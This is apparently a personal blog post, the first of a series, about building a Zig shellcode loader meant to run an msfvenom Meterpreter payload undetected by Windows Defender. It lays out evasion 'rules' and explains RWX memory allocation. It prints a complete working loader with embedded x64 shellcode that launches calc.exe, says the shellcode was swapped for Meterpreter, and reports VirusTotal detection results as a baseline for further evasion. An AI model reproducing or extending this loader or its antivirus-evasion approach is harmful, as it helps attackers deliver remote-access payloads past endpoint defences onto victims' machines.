This quest begins like many others. From a quest giver. In this case that quest giver is me in a temporary state of overconfidence.
So the idea was simple. After having played around with Zig and getting some basic malware functionality working I decided I wanted to dive further into the world of maldev. Particularly around the world of obfuscation and evasion.
I figured a good starting point would be to write a simple shellcode loader which can execute a basic Meterpreter payload without being detected by Windows Defender.
I have no experience doing this so I have no idea how much of a task this might end up being but it sure felt like a good idea at the time.
It seemed like a pretty good benchmark however. After all, Defender is probably one of the most used AVs in the world and Meterpreter is probably one of the most fingerprinted payload in the world.
Doing this would surely be a good conversation starter at the next family get together.
Now, lets get some ground rules together. I initially wasn’t sure what would be ‘allowed’ in this challenge. I figured modifying the shellcode before sending it to the load would be offlimits but encryption should still be okay since it will need to be returned to its original state at some point in memory.
Once the intact payload makes it to our loader I figured then we have more freedom. As long as whatever techniques we use work independently of any specific payload it should be fair game.
Here are the general rules I came up with:
- Payload will be generated by msfvenom and the loader will execute it unmodified.
- Encrypting the payload for transit is okay
- Evasion should be achieved by the loader, not through modifying the payload itself
Okay I’ll be honest I have no idea if these rules are any good but I’m making rules for a game I’ve never played so give me a break.
So where do we go first? Well, if we want to build a shellcode loader than can evade defender, its probably a smart idea to make sure we can first build a shellcode loader that runs at all.
Building a basic shellcode loader
At its most basic level, a shellcode loader is just a segment of data in memory that we can execute as code.
Unfortunately, a few miscreants started to abuse this and so Microsoft were forced to add memory protections to combat this.
Now we have memory pages that tell us which segments of a programs memory are supposed to be read from, written to, and executed.
I suppose this is all for the greater good however means we have to carry out some extra steps.
Our shellcode is going to first exist as data in some form. Either embedded in the binary at compile time or dynamically retrieved from some other location.
It doesn’t matter where it starts, the point is that its not going to exist in a region of memory that is allowed to be executed.
Our first step will be creating a region of memory that we are allowed to execute from. Fortunately Microsoft has provided us with the handy VirtualAlloc() call which allows us to do just that.
VirtualAlloc allows us to allocate a new memory location with our desired permissions.
So at a high level our strategy will be:
- Have our shellcode existing somewhere in memory.
- Allocate some memory the size of our shellcode using VirtualAlloc with PAGE_EXECUTE_READWRITE permissions
- Copy our shellcode into that new region
- Treat the memory as a function and call it
Note: you can read about the different memory protection constants here https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants
We aren’t worrying about stealth for now but it should be considered whether allocated read, write, and execute permissions all at once might be suspicious. Afterall, how many legitimate programs might need these specific permissions at the same time?
We’ll revisit that later. Lets get something working to start with.
Here is our basic shellcode loader in zig that simply pops calc.exe. The code does pretty much what we discussed previously.
At this stage, the language choice is secondary. Its the VirtualAlloc call that makes the magic happen here.
const std = @import("std");
const windows = std.os.windows;
pub fn main() !void {
//1. Our shellcode existing somewhere in memory
const shellcode = [_]u8{ 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x42, 0x60, 0x48, 0x8b, 0x70, 0x18, 0x48, 0x8b, 0x76, 0x20, 0x4c, 0x8b, 0x0e, 0x4d, 0x8b, 0x09, 0x4d, 0x8b, 0x49, 0x20, 0xeb, 0x63, 0x41, 0x8b, 0x49, 0x3c, 0x4d, 0x31, 0xff, 0x41, 0xb7, 0x88, 0x4d, 0x01, 0xcf, 0x49, 0x01, 0xcf, 0x45, 0x8b, 0x3f, 0x4d, 0x01, 0xcf, 0x41, 0x8b, 0x4f, 0x18, 0x45, 0x8b, 0x77, 0x20, 0x4d, 0x01, 0xce, 0xe3, 0x3f, 0xff, 0xc9, 0x48, 0x31, 0xf6, 0x41, 0x8b, 0x34, 0x8e, 0x4c, 0x01, 0xce, 0x48, 0x31, 0xc0, 0x48, 0x31, 0xd2, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xca, 0x0d, 0x01, 0xc2, 0xeb, 0xf4, 0x44, 0x39, 0xc2, 0x75, 0xda, 0x45, 0x8b, 0x57, 0x24, 0x4d, 0x01, 0xca, 0x41, 0x0f, 0xb7, 0x0c, 0x4a, 0x45, 0x8b, 0x5f, 0x1c, 0x4d, 0x01, 0xcb, 0x41, 0x8b, 0x04, 0x8b, 0x4c, 0x01, 0xc8, 0xc3, 0xc3, 0x41, 0xb8, 0x98, 0xfe, 0x8a, 0x0e, 0xe8, 0x92, 0xff, 0xff, 0xff, 0x48, 0x31, 0xc9, 0x51, 0x48, 0xb9, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x51, 0x48, 0x8d, 0x0c, 0x24, 0x48, 0x31, 0xd2, 0x48, 0xff, 0xc2, 0x48, 0x83, 0xec, 0x28, 0xff, 0xd0 };
//2. Allocating some memory with VirtualAlloc requesting the RWX permissions
const exec_mem = try windows.VirtualAlloc(null, shellcode.len, windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE);
//3. Copying our shellcode to the new memory region
@memcpy(@as([*]u8, @ptrCast(exec_mem))[0..shellcode.len], &shellcode);
//4. Casting our new memory location to a function pointer and calling it.
const func: *const fn () void = @ptrCast(exec_mem);
func();
windows.VirtualFree(exec_mem, 0, windows.MEM_RELEASE);
}
Honestly nothing really revolutionary here. I will admit, its a bit jarring seeing this stuff written in a language that isn’t C (There’s just something so familiar about C shellcode!), but you should be able to get the gist.
Now if you run on an x64 version of windows you should see the calculator pop up meaning its working.
I’ve taken the liberty to swap out our calc payload with a meterpreter payload. I’ve compiled the payload with zig build --release=small which will have the benefit of stripping it of strings and otherwise optimise for a small file size.
Initial results are promising: https://www.virustotal.com/gui/file/9e94c6bb20c6315fa12b6518f8cb558467993e4cd149afa4f1edc77169e946fd?nocache=1
24/76 detection rate with basic loader. This is a great baseline to work from and will allow us to better understand why our loader gets flagged.
Overall our goal is to evade Defender but if we can evade more AVs as well that would be great and allow for some continuation of the project.
It looks like a few of the AVs have flagged the signature for the meterpreter payload itself. Part 2 of the series will have a look at what we can do to make it stand out a little less.